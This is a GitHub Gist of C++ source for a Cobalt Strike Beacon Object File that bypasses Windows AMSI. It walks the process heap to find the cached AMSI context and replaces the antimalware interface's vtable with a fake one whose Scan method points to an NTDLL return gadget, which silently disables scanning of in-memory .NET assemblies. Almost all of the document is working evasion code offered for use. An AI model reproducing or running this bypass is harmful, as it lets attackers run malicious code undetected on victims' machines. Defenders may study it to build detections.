Created
November 30, 2023 17:04
-
-
Save rxwx/eac3ae620b3c33abc4a538b5b9f3fce5 to your computer and use it in GitHub Desktop.
Bypass AMSI on Windows 11 by hooking the AMSI context VTable on the heap with a ROP gadget. Look ma, no code patches!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <Psapi.h> | |
#include <metahost.h> | |
#include <comutil.h> | |
#include <mscoree.h> | |
#include "patch_info.h" | |
#include "base\helpers.h" | |
/** | |
* For the debug build we want: | |
* a) Include the mock-up layer | |
* b) Undefine DECLSPEC_IMPORT since the mocked Beacon API | |
* is linked against the the debug build. | |
*/ | |
#ifdef _DEBUG | |
#include "base\mock.h" | |
#undef DECLSPEC_IMPORT | |
#define DECLSPEC_IMPORT | |
#endif | |
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) | |
#define BUFFER_SIZE 1024 | |
// https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/ | |
typedef struct tagHAMSICONTEXT { | |
DWORD Signature; | |
PWCHAR AppName; | |
PVOID* Antimalware; | |
DWORD SessionCount; | |
} _HAMSICONTEXT, * _PHAMSICONTEXT; | |
typedef struct IAntimalwareVtbl { | |
PVOID QueryInterface; | |
PVOID AddRef; | |
PVOID Release; | |
PVOID Scan; | |
PVOID CloseSession; | |
// PVOID Notify; | |
// PVOID Destructor; | |
} FAKE_ANTIMALWARE_VTABLE, * PFAKE_ANTIMALWARE_VTABLE; | |
typedef struct IAntiMalwareInterface { | |
PFAKE_ANTIMALWARE_VTABLE lpVtbl; | |
} FAKE_ANTIMALWARE_INTERFACE, * PFAKE_ANTIMALWARE_INTERFACE; | |
namespace mscorlib { | |
#include "mscorlib.h" | |
} | |
extern "C" { | |
#include "beacon.h" | |
#include <cstdarg> | |
// https://stackoverflow.com/questions/496034/most-efficient-replacement-for-isbadreadptr | |
bool _IsBadReadPtr(void* p) | |
{ | |
DFR_LOCAL(KERNEL32, VirtualQuery); | |
MEMORY_BASIC_INFORMATION mbi = { 0 }; | |
if (VirtualQuery(p, &mbi, sizeof(mbi))) | |
{ | |
DWORD mask = (PAGE_READONLY | PAGE_READWRITE | PAGE_WRITECOPY | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY); | |
bool b = !(mbi.Protect & mask); | |
// check the page is not a guard page | |
if (mbi.Protect & (PAGE_GUARD | PAGE_NOACCESS)) b = true; | |
return b; | |
} | |
return true; | |
} | |
mscorlib::_AppDomain* InitAppDomain(ICorRuntimeHost* pRuntimeHost, wchar_t* appDomainName) | |
{ | |
DFR_LOCAL(OLE32, IIDFromString); | |
IUnknown* pAppDomainThunk = NULL; | |
mscorlib::_AppDomain* pDefaultAppDomain = NULL; | |
// Create a custom AppDomain to run in .. | |
HRESULT hr = pRuntimeHost->CreateDomain(appDomainName, nullptr, &pAppDomainThunk); | |
if (FAILED(hr)) { | |
BeaconPrintf(CALLBACK_ERROR, "pRuntimeHost->CreateDomain(...) failed with: 0x%x", hr); | |
return nullptr; | |
} | |
GUID IID_AppDomain; | |
IIDFromString(L"{05f696dc-2b29-3663-ad8b-c4389cf2a713}", &IID_AppDomain); | |
// Equivalent of System.AppDomain.CurrentDomain in C# | |
hr = pAppDomainThunk->QueryInterface(IID_AppDomain, (VOID**)&pDefaultAppDomain); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "pAppDomainThunk->QueryInterface(...) failed"); | |
return nullptr; | |
} | |
return pDefaultAppDomain; | |
} | |
BOOL LoadAssembly(mscorlib::_AppDomain* pDefaultAppDomain, char* filePath) | |
{ | |
DFR_LOCAL(OLEAUT32, SafeArrayCreate); | |
DFR_LOCAL(OLEAUT32, SafeArrayAccessData); | |
DFR_LOCAL(OLEAUT32, SafeArrayUnaccessData); | |
DFR_LOCAL(OLEAUT32, SafeArrayDestroy); | |
DFR_LOCAL(KERNEL32, CreateFileA); | |
DFR_LOCAL(KERNEL32, GetFileSize); | |
DFR_LOCAL(KERNEL32, ReadFile); | |
DFR_LOCAL(KERNEL32, CloseHandle); | |
DFR_LOCAL(KERNEL32, GetLastError); | |
DFR_LOCAL(MSVCRT, memset); | |
DFR_LOCAL(MSVCRT, free); | |
BOOL bSuccess = FALSE; | |
HANDLE hFile = nullptr; | |
DWORD bytesRead = 0; | |
DWORD dwFileSize = 0; | |
void* pvData = NULL; | |
SAFEARRAY* pSafeArray = NULL; | |
mscorlib::_Assembly* pAssembly = NULL; | |
// Open and get the file size | |
hFile = CreateFileA(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) { | |
BeaconPrintf(CALLBACK_ERROR, "Error opening file (%d)", GetLastError()); | |
goto cleanup; | |
} | |
dwFileSize = GetFileSize(hFile, NULL); | |
if (dwFileSize == INVALID_FILE_SIZE) { | |
BeaconPrintf(CALLBACK_ERROR, "Error getting file size (%d)", GetLastError()); | |
goto cleanup; | |
} | |
// Create an array to read the file into | |
SAFEARRAYBOUND rgsabound[1]{}; | |
rgsabound[0].cElements = dwFileSize; | |
rgsabound[0].lLbound = 0; | |
pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound); | |
// Get a pointer to the array | |
HRESULT hr = SafeArrayAccessData(pSafeArray, &pvData); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "[!] SafeArrayAccessData(...) failed\n"); | |
goto cleanup; | |
} | |
// Read file into array | |
if (!ReadFile(hFile, pvData, dwFileSize, &bytesRead, NULL)) { | |
BeaconPrintf(CALLBACK_ERROR, "Error reading file (%d)", GetLastError()); | |
goto cleanup; | |
} | |
// Decrement lock count on array | |
hr = SafeArrayUnaccessData(pSafeArray); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "SafeArrayUnaccessData(...) failed"); | |
goto cleanup; | |
} | |
// Load the assembly | |
hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "pDefaultAppDomain->Load_3(...) failed w/hr 0x%08lx", hr); | |
goto cleanup; | |
} | |
// zero out the pvData stored in the SAFEARRAY, we don't need it | |
RtlZeroMemory(pvData, bytesRead); | |
pvData = nullptr; | |
bSuccess = TRUE; | |
cleanup: | |
if (hFile != NULL) | |
CloseHandle(hFile); | |
if (pSafeArray != NULL) | |
{ | |
SafeArrayDestroy(pSafeArray); | |
pSafeArray = nullptr; | |
} | |
return bSuccess; | |
} | |
void StartClr() | |
{ | |
DFR_LOCAL(OLE32, CLSIDFromString); | |
DFR_LOCAL(OLE32, IIDFromString); | |
DFR_LOCAL(MSCOREE, CLRCreateInstance); | |
ICLRMetaHost* pMetaHost = NULL; | |
ICorRuntimeHost* pRuntimeHost = NULL; | |
ICLRRuntimeInfo* pRuntimeInfo = NULL; | |
GUID CLSID_CLRMetaHost; | |
CLSIDFromString(L"{9280188d-0e8e-4867-b30c-7fa83884e8de}", &CLSID_CLRMetaHost); | |
GUID IID_ICLRMetaHost; | |
IIDFromString(L"{D332DB9E-B9B3-4125-8207-A14884F53216}", &IID_ICLRMetaHost); | |
GUID IID_ICLRRuntimeInfo; | |
IIDFromString(L"{bd39d1d2-ba2f-486a-89b0-b4b0cb466891}", &IID_ICLRRuntimeInfo); | |
GUID CLSID_CorRuntimeHost; | |
CLSIDFromString(L"{cb2f6723-ab3a-11d2-9c40-00c04fa30a3e}", &CLSID_CorRuntimeHost); | |
GUID IID_ICorRuntimeHost; | |
IIDFromString(L"{cb2f6722-ab3a-11d2-9c40-00c04fa30a3e}", &IID_ICorRuntimeHost); | |
GUID IID_AppDomain; | |
IIDFromString(L"{05f696dc-2b29-3663-ad8b-c4389cf2a713}", &IID_AppDomain); | |
HRESULT hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost); | |
if (FAILED(hr)) { | |
BeaconPrintf(CALLBACK_ERROR, "CLRCreateInstance(...) failed"); | |
goto cleanup; | |
} | |
// Get ICLRRuntimeInfo instance | |
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo); | |
if (FAILED(hr)) | |
{ | |
hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "pMetaHost->GetRuntime(...) failed"); | |
goto cleanup; | |
} | |
} | |
// Check if the specified runtime can be loaded | |
BOOL bLoadable; | |
hr = pRuntimeInfo->IsLoadable(&bLoadable); | |
if (FAILED(hr) || !bLoadable) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "pRuntimeInfo->IsLoadable(...) failed"); | |
goto cleanup; | |
} | |
// Get ICorRuntimeHost instance | |
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "pRuntimeInfo->GetInterface(...) failed"); | |
goto cleanup; | |
} | |
// Start the CLR | |
hr = pRuntimeHost->Start(); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "pRuntimeHost->Start() failed"); | |
goto cleanup; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "[*] CLR Started .."); | |
mscorlib::_AppDomain* pAppDomain = InitAppDomain(pRuntimeHost, L"woot"); | |
if (pAppDomain == nullptr) { | |
BeaconPrintf(CALLBACK_ERROR, "Error Loading AppDomain"); | |
goto cleanup; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "[*] AppDomain Loaded .."); | |
if (LoadAssembly(pAppDomain, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe")) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "[*] Assembly Loaded .."); | |
} | |
hr = pRuntimeHost->UnloadDomain(pAppDomain); | |
if (FAILED(hr)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Failed pRuntimeHost->UnloadDomain w/hr 0x%08lx\n", hr); | |
goto cleanup; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "[*] AppDomain Unloaded .."); | |
cleanup: | |
if (pMetaHost != NULL) | |
{ | |
pMetaHost->Release(); | |
pMetaHost = nullptr; | |
} | |
if (pRuntimeHost != NULL) | |
{ | |
pRuntimeHost->Stop(); | |
pRuntimeHost->Release(); | |
pRuntimeHost = nullptr; | |
} | |
} | |
/* | |
* Bypasses AMSI by overwriting the AMSI context interface pointer with a fake vtable containing a ROP gadget. | |
* The AMSI context structure is stored on the heap and is RW. This structure contains a pointer to the IAntimalware COM interface. | |
* By overwriting this interface to point to a fake vtable, we can trick AMSI into calling our own Scan() method. | |
* Combining this with ROP we can create a fake vtable that has the Scan() method pointer pointing to a gadget that just returns *something*. | |
* Such gadgets exist in NTDLL and, as a bonus, are CFG compliant. | |
* Because we're not patching executable code, we never need to call VirtualProtect or modify shared pages. | |
* | |
* This works for inline-execute-assembly when AMSI is initialized (and the context cached) by clr.dll. | |
* In a real scenario you'd need to call this function after the CLR has been loaded to ensure we overwrite the cached AMSI context. | |
* If you clear down the CLR between each inline-execute-assembly run, then this would need to be done every time. | |
* For this demo BOF, we load the CLR first and call Load() on an assembly, to force the AMSI context to get cached. | |
* | |
* It's also important to know that on Windows 11, AMSI does not tag each context structure with the "AMSI" signature. | |
* This made it easy to bypass AMSI simply by corrupting this signature tag. However this doesn't appear to be possible in Windows 11. | |
* Hence this bypass was developed - which should work on both versions (tagged and non-tagged). | |
*/ | |
BOOL AmsiContextBypass() | |
{ | |
DFR_LOCAL(KERNEL32, GetLastError); | |
DFR_LOCAL(KERNEL32, GetProcessHeaps); | |
DFR_LOCAL(KERNEL32, HeapWalk); | |
DFR_LOCAL(KERNEL32, HeapAlloc); | |
DFR_LOCAL(KERNEL32, GetProcessHeap); | |
DFR_LOCAL(KERNEL32, DecodePointer); | |
DFR_LOCAL(KERNEL32, EncodePointer); | |
DFR_LOCAL(KERNEL32, LoadLibraryExW); | |
DFR_LOCAL(KERNEL32, GetProcAddress); | |
DFR_LOCAL(KERNEL32, K32GetModuleInformation); | |
DFR_LOCAL(MSVCRT, wcscmp); | |
HANDLE hHeap; | |
HRESULT Result = 0; | |
PHANDLE aHeaps = nullptr; | |
SIZE_T BytesToAllocate = 0; | |
BOOL patched = FALSE; | |
// Start the CLR and Load and assembly to force AMSI context cache | |
StartClr(); | |
DWORD NumberOfHeaps = GetProcessHeaps(1, &hHeap); | |
if (NumberOfHeaps == 0) { | |
BeaconPrintf(CALLBACK_ERROR, "Error %d.", GetLastError()); | |
return FALSE; | |
} | |
PROCESS_HEAP_ENTRY Entry{}; | |
Entry.lpData = NULL; | |
// Get the address of AMSI.dll | |
HMODULE amsi = GetModuleHandleA("amsi"); | |
if (amsi == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "AMSI DLL not loaded"); | |
return FALSE; | |
} | |
MODULEINFO modInfo; | |
K32GetModuleInformation(NtCurrentProcess(), amsi, &modInfo, sizeof(modInfo)); | |
// Get our fake AMSI IAntimalware->Scan() gadget | |
HMODULE ntdll = GetModuleHandleA("ntdll"); | |
PVOID gadget = GetProcAddress(ntdll, "AlpcMaxAllowedMessageLength"); | |
if (gadget == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to resolve NTDLL gadget"); | |
return FALSE; | |
} | |
// Create a fake interface and vtable containing the gadget | |
PFAKE_ANTIMALWARE_VTABLE fakeVtbl = (PFAKE_ANTIMALWARE_VTABLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(FAKE_ANTIMALWARE_VTABLE)); | |
BeaconPrintf(CALLBACK_OUTPUT, "[*] Walking heap.."); | |
while (HeapWalk(hHeap, &Entry) != FALSE) { | |
if (((Entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) && (Entry.cbData == sizeof(_HAMSICONTEXT))) { | |
_PHAMSICONTEXT ctx = (_PHAMSICONTEXT)Entry.lpData; | |
// we don't know for sure this is an AMSI context structure | |
// all we know so far is that the data is the right size | |
// .. so we need to do some validation checks | |
if (ctx != NULL && (ctx->Signature == NULL | |
|| ctx->Signature == 0x49534D41) && // validate the signature is "AMSI" or NULL (on Win11+) | |
!_IsBadReadPtr(ctx->AppName) && // validate that the AppName pointer is valid | |
!wcscmp(ctx->AppName, L"DotNet") && // validate that the AppName is DotNet (used by clr.dll!AmsiScan) | |
!_IsBadReadPtr(ctx->Antimalware) && // validate that the Antimalware interface pointer is valid | |
// validate that the interface vtable points inside AMSI.dll | |
(*(ULONG_PTR*)ctx->Antimalware > (ULONG_PTR)modInfo.lpBaseOfDll) && | |
(*(ULONG_PTR*)ctx->Antimalware < ((ULONG_PTR)modInfo.lpBaseOfDll + modInfo.SizeOfImage))) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "[*] Found AMSI struct at heap address: %#llx", Entry.lpData); | |
BeaconPrintf(CALLBACK_OUTPUT, "[*] Found IAntimalware interface pointer at: %#llx (%#llx)", ctx->Antimalware, *ctx->Antimalware); | |
// now we need to fix our interface so it matches the real one | |
// i.e. add the real method pointers, such as AddRef, to our fake interface | |
PFAKE_ANTIMALWARE_INTERFACE targetVtbl = (PFAKE_ANTIMALWARE_INTERFACE)ctx->Antimalware; | |
fakeVtbl->QueryInterface = targetVtbl->lpVtbl->QueryInterface; | |
fakeVtbl->AddRef = targetVtbl->lpVtbl->AddRef; | |
fakeVtbl->Release = targetVtbl->lpVtbl->Release; | |
fakeVtbl->Scan = gadget; | |
fakeVtbl->CloseSession = targetVtbl->lpVtbl->CloseSession; | |
// finally, we can overwite Antimalware interface pointer with our fake one | |
targetVtbl->lpVtbl = fakeVtbl; | |
patched = TRUE; | |
BeaconPrintf(CALLBACK_OUTPUT, "[+] Patched with gadget=%#llx, fake vtable=%#llx", gadget, fakeVtbl); | |
} | |
} | |
} | |
if (!patched) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Didn't find AMSI context structure. AMSI is probably not loaded, or it's already been patched."); | |
return FALSE; | |
} | |
return TRUE; | |
} | |
void go(char* args, int length) { | |
AmsiContextBypass(); | |
} | |
} | |
// Define a main function for the debug build | |
#if defined(_DEBUG) && !defined(_GTEST) | |
int main(int argc, char* argv[]) { | |
// Run BOF's entrypoint | |
// To pack arguments for the bof use e.g.: bof::runMocked<int, short, const char*>(go, 6502, 42, "foobar"); | |
bof::runMocked<>(go, 1, 0); | |
return 0; | |
} | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment